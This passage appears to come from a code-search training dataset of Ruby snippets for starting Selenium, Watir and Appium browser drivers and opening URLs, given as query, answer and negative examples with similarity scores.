"def setup\n # caps = Selenium::WebDriver::Remote::Capabilities.new\n # caps[:browserName] = :chrome\n #@driver = Selenium::WebDriver.for (\n # :remote,\n # :url=> 'http://localhost:4444/wd/hub',\n # :desired_capabilities=> caps )\n #ENV['base_url'] = 'http://codap.concord.org/~eireland/CodapClasses'\n @@driver = Selenium::WebDriver.for :chrome\n # ENV['base_url'] = 'http://localhost:4020/dg'\n ENV['base_url'] = 'http://codap.concord.org/releases/latest/'\n # setupHelper(@driver.session_id)\nrescue Exception => e\n puts e.message\n puts \"Could not start driver #{@@driver}\"\n exit 1\nend",
"def initialize(options = {})\n self.browser = options.fetch(:browser, :chrome)\n self.install_dir = options.fetch(:install_dir, './webdrivers/')\n self.locale = options.fetch(:locale, :en)\n self.headless = options.fetch(:headless, false)\n self.window_size = options.fetch(:window_size, '1280,720')\n self.screen_dir = options.fetch(:screen_dir, './screens/')\n self.log_prefix = options.fetch(:log_prefix, ' - ')\n self.verbose = options.fetch(:verbose, false)\n self.silent = options.fetch(:silent, false)\n self.auth_username = options.fetch(:auth_username, '')\n self.auth_password = options.fetch(:auth_password, '')\n self.main_label = caller_locations(2, 1).first.label\n\n initialize_driver\n\n self.timeout = options.fetch(:timeout, 30)\n end",
"def setup\n caps = Selenium::WebDriver::Remote::Capabilities.internet_explorer\n caps.version = \"8\"\n caps.platform = \"Windows XP\"\n caps[:name] = \"Testing Selenium 2 with Ruby on Sauce\"\n\n @driver = Selenium::WebDriver.for(\n :remote,\n :url => \"http://the-internet:[email protected]:80/wd/hub\",\n :desired_capabilities => caps)\nend",
"def setup_desktop_grid(capability)\n\tCapybara.register_driver :selenium do |app|\n\t\tCapybara::Selenium::Driver.new(app,\n\t\t\t:browser => :remote,\n\t\t\t:url => SELENIUM_GRID,\n\t\t\t:desired_capabilities => capability)\n\tend\n\t\tCapybara.default_driver = :selenium\nend",
"def driver\n start_app_if_needed\n @driver\n end",
"def setup_browser\n @browser = Browser.new(self)\n end",
"def start_driver(caps)\n driver = Appium::Driver.new(caps, true)\n # Tests expect methods defined on the minispec object\n Appium.promote_appium_methods ::Minitest::Spec, driver\n driver.start_driver\nend",
"def set_browser(app = :chrome, *args)\n @browser = Watir::Browser.new(app, *args)\n Testable.browser = @browser\n end",
"def return_driver\r\n\t\treturn @driver\r\n\tend",
"def initialize(params = {}, &block)\n @module_name = self.class.parent.to_s\n @class_name = self.class.to_s.split(\"::\").last\n define_site_pages\n define_flows\n config = Settings.config(@class_name).merge(params)\n browser_name = config[:browser] || 'chrome'\n browser_driver = config[:driver] || 'watir' \n browser_params = config[browser_name] || {}\n @browser = Browser.create(browser_name, browser_driver, browser_params)\n goto(config[:url]) if config[:url]\n execute_block_and_close_browser(browser, &block) if block_given?\n end",
"def browser\n @options[:browser] ||= self.class.create_browser\n end",
"def initialize(browser)\n self.browser = browser\n end",
"def open_browser_by_watir(options = {})\r\n\r\n begin\r\n support_unicode\r\n rescue => e\r\n puts \"Unicode may not work in IE, #{e}\"\r\n end\r\n\r\n\t\t\tif options && options.class == String\r\n\t\t\t options = {:base_url => options.to_s }\r\n\t\t\tend\r\n\t\t\t \r\n\t\t\tif options && options.class == Hash && options[:base_url]\r\n \tbase_url ||= options[:base_url]\r\n\t\t\tend\r\n\t\t\t\r\n\t\t\tbase_url = options[:base_url] rescue nil \r\n\t\t\tbase_url ||= $TESTWISE_PROJECT_BASE_URL\t\t\t\r\n base_url ||= $BASE_URL\r\n \r\n raise \"base_url must be set\" if base_url.nil?\r\n\r\n default_options = {:speed => \"fast\",\r\n :visible => true,\r\n :highlight_colour => 'yellow',\r\n :close_others => true,\r\n :start_new => false, # start a new browser always\r\n :go => true}\r\n\r\n options = default_options.merge options\r\n ($TESTWISE_HIDE_BROWSER) ? $HIDE_IE = true : $HIDE_IE = false\r\n\r\n if base_url =~ /^file:/\r\n uri_base = base_url\r\n else\r\n uri = URI.parse(base_url)\r\n uri_base = \"#{uri.scheme}://#{uri.host}:#{uri.port}\"\r\n end\r\n\r\n if options[:start_new]\r\n @web_browser = WebBrowser.new(uri_base, nil, options)\r\n else\r\n @web_browser = WebBrowser.reuse(uri_base, options) # Reuse existing browser\r\n end\r\n\r\n if base_url =~ /^file:/\r\n goto_url(base_url) # for files, no base url\r\n else\r\n (uri.path.length == 0) ? begin_at(\"/\") : begin_at(uri.path) if options[:go]\r\n end\r\n\r\n return @web_browser\r\n end",
"def start_new_browser_session(options={})\n start_args = [@browser_string, @browser_url, @extension_js]\n\n if driver = options.delete(:driver)\n expected_browser_string = \"*webdriver\"\n unless @browser_string == expected_browser_string\n raise ArgumentError, \"can't use :driver unless the browser string is #{expected_browser_string.inspect} (got #{@browser_string.inspect})\"\n end\n\n sid = driver.capabilities['webdriver.remote.sessionid']\n sid or raise ArgumentError, \"This driver can not be wrapped in the RC API.\"\n\n start_args << \"webdriver.remote.sessionid=#{sid}\"\n end\n\n start_args << options.collect {|key,value| \"#{key.to_s}=#{value.to_s}\"}.sort.join(\";\")\n\n @session_id = string_command \"getNewBrowserSession\", start_args\n # Consistent timeout on the remote control and driver side.\n # Intuitive and this is what you want 90% of the time\n self.remote_control_timeout_in_seconds = @default_timeout_in_seconds\n self.highlight_located_element = true if highlight_located_element_by_default\n end",
"def register_driver\n @driver = yield\n setup_exit_handler\n end",
"def openBrowser(step)\n browserName = @envConfig['Browser']\n browserDriver = \"#{$ROOT}/../webDriver/#{browserName}driver.exe\"\n case browserName\n when 'chrome'\n Selenium::WebDriver::Chrome.driver_path = browserDriver\n # @browser = Watir::Browser.new(:chrome, :switches => %w[--start-maximized])\n @browser = Watir::Browser.new(:chrome)\n when 'firefox'\n Selenium::WebDriver::Firefox.driver_path = browserDriver\n # @browser = Watir::Browser.new(:firefox, :switches => %w[--start-maximized])\n @browser = Watir::Browser.new(:firefox)\n end\n Watir.default_timeout = @envConfig['DefaultWaitTime'].to_s.to_i\n pageObject = PageObject.new\n @actionObjects = pageObject.initializePageObject(@browser, @pageObjects)\n end",
"def browser\n if @browser.nil?\n # puts '[BrowserOperator] Create Internet Explorer'\n @browser = Watir::Browser.new\n @browser.activate\n end\n @browser\n end",
"def setup_driver\n return if $driver\n caps = Appium.load_appium_txt file: File.join(Dir.pwd, 'appium.txt')\n $driver = Appium::Driver.new caps\n # debug \"setting up driver using #{caps.to_yaml}\"\nend",
"def initialize(driver, api)\n @driver = driver\n @api = api\n end",
"def initialize(driver, api)\n @driver = driver\n @api = api\n end",
"def initialize(driver, api)\n @driver = driver\n @api = api\n end",
"def initialize(driver, api)\n @driver = driver\n @api = api\n end",
"def initialize(driver, api)\n @driver = driver\n @api = api\n end",
"def initialize(driver, api)\n @driver = driver\n @api = api\n end",
"def set_driver\n @driver = Driver.find(params[:id])\n end",
"def setup\n capabilities = {\n platformName: 'Windows',\n platformVersion: '10',\n browserName: 'Chrome',\n browserVersion: '58',\n resolution: '1280x1024',\n securityToken: @@token\n }\n _url = 'http://' + @@Host + '/nexperience/perfectomobile/wd/hub/fast'\n\n @driver = Selenium::WebDriver.for(:remote, :url => _url, :desired_capabilities => capabilities)\n @reportiumClient = create_reportium_client\n end",
"def initialize device_name, *args\n begin\n @driver = device_driver(device_name)\n rescue Selenium::WebDriver::Error::UnknownError => e\n raise DeviceError, \"Invalid device name: '#{device_name}'\"\n end\n @device_name = device_name\n @browser = Watir::Browser.new driver\n end",
"def set_driver\n id = params[:driver_id] || params[:id]\n @driver = Driver.find_by(id: id)\n end",
"def initialize browser\n @browser = browser\n end",
"def settings\n @settings ||= DriverSettings.new(@bridge)\n end",
"def abrirNavegador()\n\tbrowser = Watir::Browser.new :firefox\n\n\tbrowser\nend",
"def chrome_browser(*opts)\n options = Selenium::WebDriver::Chrome::Options.new\n opts.each { |n| options.add_argument(n) }\n driver = Selenium::WebDriver.for :chrome, detach: false, options: options\n Watir::Browser.new(driver)\n end",
"def find_driver\n RideShare::Driver.find(@driver_id)\n # returns Driver instance associated with this Trip instance\n end",
"def initialize(bridge, id); end",
"def initialize(bridge, id); end",
"def browser(*args)\n b = Runtime.instance.set_if(self, :browser) do\n # Add LL to the arguments for the browser\n LapisLazuli::Browser.set_world(self)\n\n # Create & return a new browser object\n brow = LapisLazuli::Browser.new(*args)\n\n metadata = Runtime.instance.get(:metadata)\n if metadata\n metadata.set(\n \"browser\",\n {\n \"name\" => brow.driver.capabilities[:browser_name],\n \"version\" => brow.driver.capabilities[:browser_version] || brow.driver.capabilities[:version],\n \"platform\" => brow.driver.capabilities[:platform_name] || brow.driver.capabilities[:platform],\n }\n )\n end\n\n sessionid = brow.driver.capabilities[\"webdriver.remote.sessionid\"]\n\n if !sessionid.nil?\n metadata.set(\"sessionid\", sessionid)\n end\n\n brow\n end\n\n if not b.is_open?\n b.start\n end\n\n return b\n end",
"def disconnect!\n @driver.close\n ensure\n close\n end",
"def initialize_browser\n puts \"\\n>Initializing Firefox browser\"\n @browser = Watir::Browser.new :firefox\n @browser.send_keys :f11\n @homepage = Homepage.new(@browser)\n return @homepage\nend",
"def set_driver\n @driver = Driver.find(params[:id])\n end"
] | [
"0.6765548",
"0.6549758",
"0.6311109",
"0.61391103",
"0.6125926",
"0.6062246",
"0.5937645",
"0.58854544",
"0.58355975",
"0.57812893",
"0.57768846",
"0.57540095",
"0.5749629",
"0.5749117",
"0.57432747",
"0.5722259",
"0.57148206",
"0.56932133",
"0.56876117",
"0.5666094",
"0.5662084",
"0.5635288",
"0.5582317",
"0.5545563",
"0.5527111",
"0.5511369",
"0.5506974",
"0.550564",
"0.5494075",
"0.54914325",
"0.5488159",
"0.54534733",
"0.5448921",
"0.5437731",
"0.5437731",
"0.5434605",
"0.54145706",
"0.54135066",
"0.54104996",
"0.5404422",
"0.539963",
"0.5395489",
"0.5374298",
"0.5368727",
"0.53585",
"0.5342189",
"0.5327956",
"0.53166986",
"0.53142756",
"0.5300587",
"0.5293348",
"0.5287557",
"0.5273886",
"0.52711606",
"0.5271131",
"0.5270209",
"0.52641106",
"0.52546364",
"0.5243813",
"0.5241742",
"0.5229324",
"0.5223789",
"0.5222316",
"0.52200735",
"0.5214866",
"0.52144086",
"0.5200042",
"0.51735",
"0.5164453",
"0.5149486",
"0.51440954",
"0.5138621",
"0.51165074",
"0.5103493",
"0.509526",
"0.5091015",
"0.5084418",
"0.5084299",
"0.50831395",
"0.5074877",
"0.5074877",
"0.5074877",
"0.5074877",
"0.5074877",
"0.5074877",
"0.5069473",
"0.50667286",
"0.50578696",
"0.50500786",
"0.50376225",
"0.5023572",
"0.5015091",
"0.50080323",
"0.49989295",
"0.4989721",
"0.4989721",
"0.49878982",
"0.49736586",
"0.4961355",
"0.49582568"
] | 0.5263259 | 57 |
Opens the specified URL in the browser. | def get(url)
navigate.to(url)
end | {
"objective": {
"self": [],
"paired": [],
"triplet": [
[
"query",
"document",
"negatives"
]
]
}
} | [
"def open(url = @url)\n @browser.goto(url)\n wait_for_page_to_load\n end",
"def open url\r\n command 'open', url_arg(url)\r\n end",
"def open url\r\n command 'open', url_arg(url)\r\n end",
"def open_in_browser\n puts url\n `#{open} #{url}`\n end",
"def launch_browser(url)\n case RUBY_PLATFORM\n when /darwin/\n system \"open\", url\n when /mswin|mingw|cygwin/\n system \"start\", url\n else\n system \"xdg-open\", url\n end\n end",
"def open_url(url)\n unless url.is_a?(NSURL)\n url = NSURL.URLWithString(url)\n end\n UIApplication.sharedApplication.openURL(url)\n end",
"def open_url(url)\n unless url.is_a?(NSURL)\n url = NSURL.URLWithString(url)\n end\n UIApplication.sharedApplication.openURL(url)\n end",
"def browse(url)\n if RUBY_PLATFORM =~ /darwin/\n `open #{url}`\n elsif RUBY_PLATFORM =~ /linux/\n `#{ENV['BROWSER']} #{url}`\n elsif ENV['OS'] == 'Windows_NT' or\n RUBY_PLATFORM =~ /djgpp|(cyg|ms|bcc)win|mingw|wince/i\n `start \"\" \"#{url}\"`\n end\n end",
"def open_url(url)\n unless url.is_a?(NSURL)\n url = NSURL.URLWithString(url)\n end\n NSWorkspace.sharedWorkspace.openURL(url)\n end",
"def open_url(url)\n url = NSURL.URLWithString(url) unless url.is_a?(NSURL)\n NSWorkspace.sharedWorkspace.openURL(url)\n end",
"def open_url(url)\n @ole.OpenURL(url)\n end",
"def browse(url)\n if RUBY_PLATFORM =~ /darwin/\n `open #{url}`\n elsif ENV['OS'] == 'Windows_NT' or\n RUBY_PLATFORM =~ /djgpp|(cyg|ms|bcc)win|mingw|wince/i\n `start \"\" \"#{url}\"`\n end\n end",
"def open(url)\n driver.get(url)\n end",
"def goto_url(url)\n @web_browser.goto_url url\n end",
"def ask_to_open_in_browser(url)\n if RUBY_PLATFORM =~ /darwin|linux/i\n open_in_browser = ask \"Would you like to open it in your browser? \"\n if open_in_browser =~ /^y/i\n if RUBY_PLATFORM =~ /darwin/i\n # OS X\n run \"open #{url}\"\n else\n # Ubuntu\n run \"xdg-open #{url}\"\n end\n end\n end\n end",
"def open_url(url)\n if RbConfig::CONFIG['host_os'] =~ /darwin/\n system %(open \"#{url}\")\n elsif RbConfig::CONFIG['host_os'] =~ /linux|bsd/\n system %(xdg-open \"#{url}\")\n else\n puts 'Not Supported OS!'.red\n end\n end",
"def open_url(url)\n url = url.is_a?(NSURL) ? url : NSURL.URLWithString(url)\n request = NSURLRequest.requestWithURL(url, cachePolicy: NSURLRequestUseProtocolCachePolicy, timeoutInterval: 20)\n web.loadRequest request\n end",
"def goto_url(url)\r\n @web_browser.goto_url url\r\n end",
"def openurl(url)\n runcmd 'openurl', url\n end",
"def go_to(url)\n @browser.goto(url)\n end",
"def ask_to_open_in_browser(url)\n if RUBY_PLATFORM =~ /darwin|linux/i\n open_in_browser = ask \"Would you like to open it in your browser? \"\n if open_in_browser =~ /^y/i\n if RUBY_PLATFORM =~ /darwin/i\n # OS X\n `open #{url}`\n else\n # Ubuntu\n `xdg-open #{url}`\n end\n end\n end\n end",
"def go_to_url (url)\n\t\[email protected] (url)\n\tend",
"def browser_open_linux(url)\n system(\"xdg-open\", url)\n end",
"def goto_url(url)\r\n @browser.navigate.to url\r\n end",
"def goto(url)\r\n #set_defaults()\r\n get_window_number()\r\n set_browser_document()\r\n # Load the given url.\r\n $jssh_socket.send(\"#{BROWSER_VAR}.loadURI(\\\"#{url}\\\");\\n\" , 0)\r\n read_socket()\r\n\r\n wait()\r\n end",
"def browser_open_darwin(url)\n system(\"open\", \"-a\", \"chrome\", url)\n end",
"def browse(number)\n request = get_request_by_number(number)\n Launchy.open(request.html_url)\n end",
"def go_to(url)\n @browser.navigate.to url\n end",
"def go_to_page(url)\n Logbook.step(\"Open start page #{url} :)\")\n @browser.get url\n sleep 2\n\n @browser\n end",
"def go()\n\[email protected] @url\n end",
"def browse url\n @@headless = Headless.new\n @@headless.start\n @@browser = Watir::Browser.start url\n end",
"def start_browser(url, browser = 'firefox')\n self.open_browser browser\n @browser.goto url\n return @browser\n end",
"def open_new_page(url)\n $verbose ? puts(\"opening new page: #{url}\") : nil\n @driver.execute_script('window.open()')\n @driver.switch_to.window(@driver.window_handles.last)\n sleep(1)\n @driver.get(url)\n end",
"def load_browser_tab(url:)\n @browser.execute_script('window.open()')\n @browser.windows.last.use\n @browser.goto(url)\n end",
"def open\n html_url = url.sub('.json?', '?')\n Launchy.open(html_url)\n end",
"def open_browser_with_search(url)\n Launchy.open(url)\nend",
"def open_in_browser\n link = \"http://www.bandsintown.com/cities/pittsburgh-pa\"\n if RbConfig::CONFIG['host_os'] =~ /mswin|mingw|cygwin/\n system \"start #{link}\"\n elsif RbConfig::CONFIG['host_os'] =~ /darwin/\n system \"open #{link}\"\n elsif RbConfig::CONFIG['host_os'] =~ /linux|bsd/\n system \"xdg-open #{link}\"\n end\n end",
"def openURL(step)\n url = @step['Parameter1']\n @browser.goto(url)\n end",
"def go_to(url)\n driver.get url\n end",
"def open\n require \"launchy\"\n\n Launchy.open(BASE_URL)\n end",
"def open_url(term)\n Defcli.open_in_browser search_url(term, :api => false)\n end",
"def launch(url)\n Java::limelight.Context.instance.os.launch(url)\n end",
"def goto(url = \"\")\n active_window.url = url\n sleep(1)\n end",
"def open_window url, window_id\r\n command 'openWindow', url, window_id\r\n end",
"def open_browser(base_url = nil, options = {})\n base_url ||= $ITEST2_PROJECT_BASE_URL\n base_url ||= $BASE_URL\n raise \"base_url must be set\" if base_url.nil?\n\n default_options = {:speed => \"fast\",\n :visible => true,\n :highlight_colour => 'yellow',\n :close_others => true,\n :start_new => false, \t# start a new browser always\n :go => true}\n\n options = default_options.merge options\n options[:firefox] = true if \"Firefox\" == $ITEST2_BROWSER || \"Firefox\" == $BROWSER\n ($ITEST2_HIDE_BROWSER) ? $HIDE_IE = true : $HIDE_IE = false\n\n if base_url =~ /^file:/\n uri_base = base_url\n else\n uri = URI.parse(base_url)\n uri_base = \"#{uri.scheme}://#{uri.host}:#{uri.port}\"\n end\n\n if options[:start_new]\n @web_browser = WebBrowser.new(uri_base, nil, options)\n else\n @web_browser = WebBrowser.reuse(uri_base, options) # Reuse existing browser\n end\n\n if base_url =~ /^file:/\n goto_url(base_url) # for files, no base url\n else\n (uri.path.length == 0) ? begin_at(\"/\") : begin_at(uri.path) if options[:go]\n end\n\n return @web_browser\n end",
"def open_home_page\n open(configuration.browser_url)\n end",
"def navigate_to(url)\n self.visit url\n end",
"def open(url)\n Net::HTTP.get(URI.parse(url))\nend",
"def open(url)\n Net::HTTP.get(URI.parse(url))\nend",
"def open(browser, url=\"\")\n case browser\n when 'chrome'\n `open -a '/Applications/Google\\ Chrome.app/Contents/MacOS/Google\\ Chrome' #{url}`\n when 'firefox'\n `open -a 'Firefox' #{url}`\n when 'safari'\n `open -a 'Safari' #{url}`\n end\nend",
"def open_dialog_with_url(dialog_name, url)\n wait_start\n opera_desktop_action(\"Open url in new page\", url)\n # The loading of the page will happen first then the dialog will be shown\n wait_for_window_shown(dialog_name)\n end",
"def open_dialog_with_url(dialog_name, url)\n wait_start\n opera_desktop_action(\"Open url in new page\", url)\n # The loading of the page will happen first then the dialog will be shown\n wait_for_window_shown(dialog_name)\n end",
"def navigate_to(url)\n self.visit url\n end",
"def open(url);\n if !@already_opened_prs.include? url\n # Because Launchy sometimes fails to open multiple tabs if it is called too quickly\n sleep(0.1)\n Launchy.open(url) do |exception|\n puts \"Attempted to open #{url} and failed because #{exception}\"\n end\n @already_opened_prs.add url\n else\n puts \"filtered #{url}\"\n end\n end",
"def uri(the_url)\n case @url_method\n when :graphical\n self.class.uri_graphical(the_url)\n when :text\n case the_url.to_s\n when /^http/\n puts \"USER ACTION: please enter this url in a browser:\\n\"+the_url.to_s.red()+\"\\n\"\n else\n puts \"USER ACTION: open this:\\n\"+the_url.to_s.red()+\"\\n\"\n end\n else\n raise StandardError,\"unsupported url open method: #{@url_method}\"\n end\n end",
"def open_browser(base_url, options = {})\n default_options = {:resynchronize => false, :firefox => false } \n options = default_options.merge(options)\n options[:firefox] ||= (ENV['LOADWISE_PREVIEW'] || $LOADWISE_PREVIEW)\n RWebSpec::WebBrowser.new(base_url, nil, options)\n end",
"def open_in_browser\n selection = @list_view.selection\n if iter = selection.selected\n selected_category = iter.parent[0]\n task_index = iter[3]\n url = todo_data.get_trac_url(task_index)\n Launchy.open(url)\n end\n end",
"def open_url\n u = URI.parse(@host_url)\n u.open { |file| @html_doc = Nokogiri::HTML(file) }\n\n rescue OpenURI::HTTPError => excp\n raise \"#{excp}, could not open #{@host_url} \"\n ensure\n @html_doc\n end",
"def open()\n \n #note we would want to check for the browser being open already\n #so we don't annoy people\n \n event(\"Pre\")\n require 'launchy'\n Launchy.open(\"http://store.mage.dev/admin\") #note this should be from setting file\n event(\"Post\")\n end",
"def open_url\n opts = [config.oui_full_url]\n opts << { 'User-Agent' => config.user_agent } if config.user_agent\n open(*opts).read\n rescue OpenURI::HTTPError\n ''\n end",
"def open\n app = heroku.info(extract_app)\n url = app[:web_url]\n display \"Opening #{url}\"\n Launchy.open url\n end",
"def open_viewer(urn,access_token)\n path = File.expand_path(File.dirname(__FILE__))\n url = \"file://#{path}/viewer.html?token=#{access_token}&urn=#{urn}\"\n text_to_print_in_color = \"Please open the following url in your favorite browser:\\n#{url}\"\n puts(\"\\e[7m#{text_to_print_in_color}\\e[27m\")\n\nend",
"def open_url(code)\n url = URL+code\n puts url\n open(url).read\n end",
"def visit(url)\n begin\n @browser.goto url\n rescue Errno::ECONNREFUSED\n puts \"Webdriver reconnecting...\"\n @browser = Watir::Browser.new $driver.to_sym\n login\n @browser.goto url\n end\n end",
"def open(url)\n super\n assert_page_loaded\n end",
"def open_browser\n `open #{@report_file.path}`\n end",
"def go_to_url(url)\n visit(\"https://#{url}\")\n end",
"def open_page(name)\n name_link(name).click\n self.wait_for_ajax\n self.window(:title=>\"rSmart | Content Profile\").use\n ContentDetailsPage.new @browser\n end",
"def open_in_browser?(job)\n puts \"\\nURL: #{job.full_url}\"\n # print \"Open job page in browser?(yes/no): \".blue\n # response = gets.chomp.downcase\n\n response = @prompt.yes?(\"Open job page in browser?\")\n\n if response == \"y\" || response == \"yes\"\n system(\"xdg-open #{job.full_url}\")\n end\n end",
"def goto_page(browser_handle, url)\n browser_handle.goto(url)\nend",
"def open()\n \n #note we would want to check for the browser bing open already\n #so we don't annoy people\n \n event(\"Pre\")\n require 'launchy'\n Launchy.open(\"http://local.general.dev/info.php\") #note this should be from setting file\n event(\"Post\")\n end",
"def open\n @browser.goto @@site_url + \"/login.php\"\n\tWatir::Wait.until { self.loaded? LoginPage.title}\n self\n end",
"def open_page(name)\n name_link(name).click \n wait_for_ajax\n self.window(:title=>\"rSmart | Content Profile\").use\n ContentDetailsPage.new @browser\n end",
"def visit\n @browser.goto(URL)\n end",
"def visit(url)\n url = absolute_url(url)\n puts \"Visiting: #{url}\"\n @body = Nokogiri::HTML(open(url))\n end",
"def gh_open(path)\n url = url_base + path.chomp\n # use open if on OSX\n if RUBY_PLATFORM.downcase.include?(\"darwin\")\n %x{open #{url}}\n else\n puts url\n end\nend",
"def open_compare_page\n cli.copy_to_clipboard compare_url\n cli.open compare_url\n end",
"def open_url(url)\n url = url.to_s\n puts \"Opening URL: #{url}\" if verbose\n\n if offline\n if config[:offline_url_mapping].key?(url)\n puts \"... using local file: #{config[:offline_url_mapping][url]}\" if verbose\n File.open(config[:offline_url_mapping][url])\n elsif (cache_path = cache_file_path(Digest::SHA1.hexdigest(url))) && File.exists?(cache_path)\n puts \"... using cache: #{cache_path}\" if verbose\n File.open(cache_path)\n else\n puts \"... skipping! No offline file or cache entry found\" if verbose\n end\n else\n puts \"... from remote location\" if verbose\n options = {\n redirect: false, # We're doing redirects manually below, since open-uri can't handle http -> https redirection\n read_timeout: 5\n }\n options[:ssl_verify_mode] = config[:ssl_verify_mode] if config.key?(:ssl_verify_mode)\n redirect_attempts = 5\n begin\n URI.open(url, options).tap do |f|\n cache_file(url, f) if cache\n f.rewind\n end\n rescue OpenURI::HTTPRedirect => e\n url = e.uri.to_s\n retry if (redirect_attempts -= 1) > 0\n raise e\n rescue OpenURI::HTTPError => e\n puts(\"Error for URL #{url}: #{e}\")\n end\n end\n end",
"def goto(url)\n fname = getFunctionName()\n log fname + \" Starting. Going to url: #{url}\" if $debuglevel >=0\n @ie.navigate(url)\n sleep 2\n return waitForIE()\n end",
"def crawler_page\n open(crawler_url)\n end",
"def click_view_website\n view_website_link.click\n end",
"def status_open_url(url)\n open(url) do |f|\n return f.status\n end\nend",
"def do_open(url, options = {:auth_needed => false})\n\n\t\tauth_needed = options.delete :auth_needed\n options = options.merge({:http_basic_authentication => [username, password]}) if auth_needed\n options = options.merge({'me2_application_key'=> config['app_key']}) if auth_needed\n\n open(url, options)\n end",
"def begin_at(url)\r\n dump_caller_stack\r\n @web_browser.begin_at(url)\r\n end",
"def open_random\n Defcli.open_in_browser random_url(:api => false)\n end",
"def cmd\n c = [\"open #{page_url}\"]\n c << argument_string(unknown_options) unless unknown_options.empty?\n c.join(\"\\n\")\n end",
"def open(url, prx = false)\n res = raw_open(url, prx)\n end",
"def open( uri, options = {} )\n cmd, args = cmd_and_args( uri, options )\n run( cmd, args )\n end",
"def open_home_page\n selenium.open(context.browser_url)\n wait_for_page_to_load\n end",
"def open\r\n visit \"/\"\r\n end",
"def begin_at(url)\n dump_caller_stack\n @web_browser.begin_at(url)\n end",
"def open(item)\n `#{open_command} '#{item.url.gsub(\"\\'\",\"\\\\'\")}'`\n\n \"Boom! We just opened #{item.value} for you.\"\n end",
"def open_page(key)\n return if verify_page?(key, false)\n site.goto(site.get_path(key))\n page_delay\n verify_page?(key)\n end",
"def go(location)\n browser.location = location\n browser.response\n end",
"def goto_base_url\n @browser.goto base_url\n end",
"def open_browser (browser)\n\t\tloop do\n\t\t print \"Input browser (IE or FF or Chrome): \"\n\t\t browser = gets.chomp\n\n\t\t if browser.empty?\n\t\t\tputs \"No input.\"\n\t\t elsif (browser == 'IE') or (browser == 'FF') or (browser == 'Chrome')\n\t\t\tbreak\n\t\t else\n\t\t\tputs \"Invalid input. Input IE or FF or Chrome as indicated.\"\n\t\t end\n\t\tend\n\n\t\tcase \n\t\t\twhen browser == 'IE'\n\t\t\t\tself.open_browser_ie\n\t\t\twhen browser == 'FF'\n\t\t\t\tself.open_browser_ff\n\t\t\telse browser == 'Chrome'\n\t\t\t\tself.open_browser_chrome\n\t\tend\n\tend",
"def open_browser_by_watir(options = {})\r\n\r\n begin\r\n support_unicode\r\n rescue => e\r\n puts \"Unicode may not work in IE, #{e}\"\r\n end\r\n\r\n\t\t\tif options && options.class == String\r\n\t\t\t options = {:base_url => options.to_s }\r\n\t\t\tend\r\n\t\t\t \r\n\t\t\tif options && options.class == Hash && options[:base_url]\r\n \tbase_url ||= options[:base_url]\r\n\t\t\tend\r\n\t\t\t\r\n\t\t\tbase_url = options[:base_url] rescue nil \r\n\t\t\tbase_url ||= $TESTWISE_PROJECT_BASE_URL\t\t\t\r\n base_url ||= $BASE_URL\r\n \r\n raise \"base_url must be set\" if base_url.nil?\r\n\r\n default_options = {:speed => \"fast\",\r\n :visible => true,\r\n :highlight_colour => 'yellow',\r\n :close_others => true,\r\n :start_new => false, # start a new browser always\r\n :go => true}\r\n\r\n options = default_options.merge options\r\n ($TESTWISE_HIDE_BROWSER) ? $HIDE_IE = true : $HIDE_IE = false\r\n\r\n if base_url =~ /^file:/\r\n uri_base = base_url\r\n else\r\n uri = URI.parse(base_url)\r\n uri_base = \"#{uri.scheme}://#{uri.host}:#{uri.port}\"\r\n end\r\n\r\n if options[:start_new]\r\n @web_browser = WebBrowser.new(uri_base, nil, options)\r\n else\r\n @web_browser = WebBrowser.reuse(uri_base, options) # Reuse existing browser\r\n end\r\n\r\n if base_url =~ /^file:/\r\n goto_url(base_url) # for files, no base url\r\n else\r\n (uri.path.length == 0) ? begin_at(\"/\") : begin_at(uri.path) if options[:go]\r\n end\r\n\r\n return @web_browser\r\n end",
"def url=(url)\n active_window.url = url\n end",
"def open_target( url )\n\tnewt = Target.new(url)\n\tnewt.open\n\t[ newt.status, newt.uri, newt.ip, newt.body, newt.headers, newt.raw_headers ]\nend",
"def launch(path)\n # force leading slash\n path.insert(0, '/') unless path[0] == '/'\n url = \"https://github.com/#{repo_github_path + path.chomp}\"\n # use open if on OSX\n if RUBY_PLATFORM.downcase.include? \"darwin\"\n %x{open #{url}}\n else\n puts url\n end\n end"
] | [
"0.84294695",
"0.8407227",
"0.8407227",
"0.8354444",
"0.7973764",
"0.7948728",
"0.7948728",
"0.79295677",
"0.7855403",
"0.78456765",
"0.78176904",
"0.7814156",
"0.7649492",
"0.76404667",
"0.7610762",
"0.75995076",
"0.7589617",
"0.75871116",
"0.75786155",
"0.75419116",
"0.75039136",
"0.74833286",
"0.7419975",
"0.72883534",
"0.7256008",
"0.7253611",
"0.7181926",
"0.71602297",
"0.71398664",
"0.71342045",
"0.70977247",
"0.702997",
"0.7020656",
"0.70080686",
"0.6986628",
"0.69857395",
"0.69418174",
"0.69350857",
"0.69122696",
"0.68843865",
"0.68703955",
"0.68548304",
"0.68417794",
"0.68393373",
"0.6830319",
"0.6800349",
"0.6784945",
"0.6782936",
"0.6782936",
"0.6759115",
"0.6724757",
"0.6724757",
"0.6664407",
"0.6641001",
"0.6600207",
"0.65687853",
"0.6556304",
"0.651027",
"0.65018564",
"0.6471149",
"0.64693284",
"0.64336956",
"0.6407664",
"0.6405025",
"0.63999885",
"0.6363581",
"0.6348673",
"0.6289973",
"0.62833285",
"0.6266939",
"0.6237982",
"0.62350833",
"0.6212323",
"0.62045366",
"0.6197298",
"0.6193357",
"0.6186641",
"0.61482036",
"0.61122465",
"0.60625106",
"0.60619324",
"0.6019721",
"0.60065186",
"0.5992643",
"0.5988228",
"0.5986396",
"0.5984849",
"0.59767216",
"0.59701455",
"0.59613055",
"0.5940488",
"0.59249914",
"0.58926237",
"0.5871226",
"0.5859784",
"0.58113295",
"0.5799021",
"0.57883453",
"0.5768515",
"0.5765519"
] | 0.63166964 | 67 |
Get the URL of the current page | def current_url
bridge.url
end | {
"objective": {
"self": [],
"paired": [],
"triplet": [
[
"query",
"document",
"negatives"
]
]
}
} | [
"def current_url\n page.current_url\n end",
"def current_url\n page.current_url\n end",
"def current_url\n @rawpage.current_url\n end",
"def current_url\n evaluate(\"window.top.location.href\")\n end",
"def current_url\n request.env['REQUEST_URI']\n end",
"def current_url\n page.driver.browser.current_url\n end",
"def current_url\n page.driver.browser.current_url\n end",
"def current_url\n return Knj::Web.url\n end",
"def current_url; end",
